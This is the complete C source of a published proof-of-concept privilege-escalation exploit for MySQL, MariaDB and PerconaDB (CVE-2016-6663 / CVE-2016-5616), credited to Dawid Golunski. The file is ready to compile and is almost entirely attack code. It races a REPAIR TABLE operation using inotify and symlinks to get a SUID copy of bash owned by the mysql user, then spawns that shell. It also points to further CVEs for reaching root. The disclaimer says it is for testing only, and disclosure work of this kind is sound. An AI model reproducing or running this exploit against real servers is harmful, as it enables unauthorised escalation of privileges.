/*

Source: https://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html // http://legalhackers.com/exploits/CVE-2016-6663/mysql-privesc-race.c

MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit
mysql-privesc-race.c (ver. 1.0)

CVE-2016-6663 / OCVE-2016-5616

Discovered/Coded by:

Dawid Golunski
dawid[at]legalhackers.com
https://legalhackers.com

Follow https://twitter.com/dawid_golunski for updates on this advisory.


Compile:
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient

Note:
* On RedHat-based systems you might need to change /tmp to another public directory (e.g. /uploads)

* For testing purposes only. Do no harm.

Full advisory URL:
https://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html

Video PoC:
https://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html

*/


#include <fcntl.h>
#include <grp.h>
#include <mysql.h>
#include <pwd.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>


#define EXP_PATH "/tmp/mysql_privesc_exploit"
#define EXP_DIRN "mysql_privesc_exploit"
#define MYSQL_TAB_FILE EXP_PATH "/exploit_table.MYD"
#define MYSQL_TEMP_FILE EXP_PATH "/exploit_table.TMD"

#define SUID_SHELL EXP_PATH "/mysql_suid_shell.MYD"

#define MAX_DELAY 1000 // can be used in the race to adjust the timing if necessary

MYSQL *conn; // DB handles
MYSQL_RES *res;
MYSQL_ROW row;

unsigned long cnt;


void intro() {

printf(
"\033[94m\n"
"MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n"
"mysql-privesc-race.c (ver. 1.0)\n\n"
"CVE-2016-6663 / OCVE-2016-5616\n\n"
"For testing purposes only. Do no harm.\n\n"
"Discovered/Coded by:\n\n"
"Dawid Golunski \n"
"http://legalhackers.com"
"\033[0m\n\n");

}

void usage(char *argv0) {
intro();
printf("Usage:\n\n%s user pass db_host database\n\n", argv0);
}

void mysql_cmd(char *sql_cmd, int silent) {

if (!silent) {
printf("%s \n", sql_cmd);
}
if (mysql_query(conn, sql_cmd)) {
fprintf(stderr, "%s\n", mysql_error(conn));
exit(1);
}
res = mysql_store_result(conn);
if (res>0) mysql_free_result(res);

}


int main(int argc,char **argv)
{

int randomnum = 0;
int io_notified = 0;
int myd_handle;
int wpid;
int is_shell_suid=0;
pid_t pid;
int status;
struct stat st;
/* io notify */
int fd;
int ret;
char buf[4096] __attribute__((aligned(8)));
int num_read;
struct inotify_event *event;
/* credentials */
char *user = argv[1];
char *password = argv[2];
char *db_host = argv[3];
char *database = argv[4];


// Disable buffering of stdout
setvbuf(stdout, NULL, _IONBF, 0);

// Get the params
if (argc!=5) {
usage(argv[0]);
exit(1);
}
intro();
// Show initial privileges
printf("\n[+] Starting the exploit as: \n");
system("id");

// Connect to the database server with provided credentials
printf("\n[+] Connecting to the database `%s` as %s@%s\n", database, user, db_host);
conn = mysql_init(NULL);
if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) {
fprintf(stderr, "%s\n", mysql_error(conn));
exit(1);
}

// Prepare tmp dir
printf("\n[+] Creating exploit temp directory %s\n", "/tmp/" EXP_DIRN);
umask(000);
system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN);
system("chmod g+s /tmp/" EXP_DIRN );

// Prepare exploit tables :)
printf("\n[+] Creating mysql tables \n\n");
mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0);
mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0);
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);

// Copy /bin/bash into the mysql_suid_shell.MYD mysql table file
// The file should be owned by mysql:attacker thanks to the sticky bit on the table directory
printf("\n[+] Copying bash into the mysql_suid_shell table.\n After the exploitation the following file/table will be assigned SUID and executable bits : \n");
system("cp /bin/bash " SUID_SHELL);
system("ls -l " SUID_SHELL);

// Use inotify to get the timing right
fd = inotify_init();
if (fd < 0) {
printf("failed to inotify_init\n");
return -1;
}
ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);


/* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */

printf("\n[+] Entering the race loop... Hang in there...\n");

while ( is_shell_suid != 1 ) {

cnt++;
if ( (cnt % 100) == 0 ) {
printf("->");
//fflush(stdout);
}

/* Create empty file , remove if already exists */
unlink(MYSQL_TEMP_FILE);
unlink(MYSQL_TAB_FILE);
mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1);
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1);

/* random num if needed */
srand ( time(NULL) );
randomnum = ( rand() % MAX_DELAY );

// Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink
pid = fork();
if (pid < 0) {
fprintf(stderr, "Fork failed :(\n");
}

/* Child process - executes REPAIR TABLE SQL statement */
if (pid == 0) {
usleep(500);
unlink(MYSQL_TEMP_FILE);
mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);
// child stops here
exit(0);
}

/* Parent process - aims to replace the temp .tmd table with a symlink before chmod */
if (pid > 0 ) {
io_notified = 0;

while (1) {
int processed = 0;
ret = read(fd, buf, sizeof(buf));
if (ret < 0) {
break;
}
while (processed < ret) {
event = (struct inotify_event *)(buf + processed);
if (event->mask & IN_CLOSE) {
if (!strcmp(event->name, "exploit_table.TMD")) {
//usleep(randomnum);

// Set the .MYD permissions to suid+exec before they get copied to the .TMD file
unlink(MYSQL_TAB_FILE);
myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);
close(myd_handle);
chmod(MYSQL_TAB_FILE, 04777);

// Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec
unlink(MYSQL_TEMP_FILE);
symlink(SUID_SHELL, MYSQL_TEMP_FILE);
io_notified=1;
}
}
processed += sizeof(struct inotify_event);
}
if (io_notified) {
break;
}
}


waitpid(pid, &status, 0);
}

// Check if SUID bit was set at the end of this attempt
if ( lstat(SUID_SHELL, &st) == 0 ) {
if (st.st_mode & S_ISUID) {
is_shell_suid = 1;
}
}

}

printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n", cnt);
system("ls -l " SUID_SHELL);

printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n");
system(SUID_SHELL " -p -i ");
//system(SUID_SHELL " -p -c '/bin/bash -i -p'");

/* close MySQL connection and exit */
printf("\n[+] Job done. Exiting\n\n");
mysql_close(conn);
return 0;

}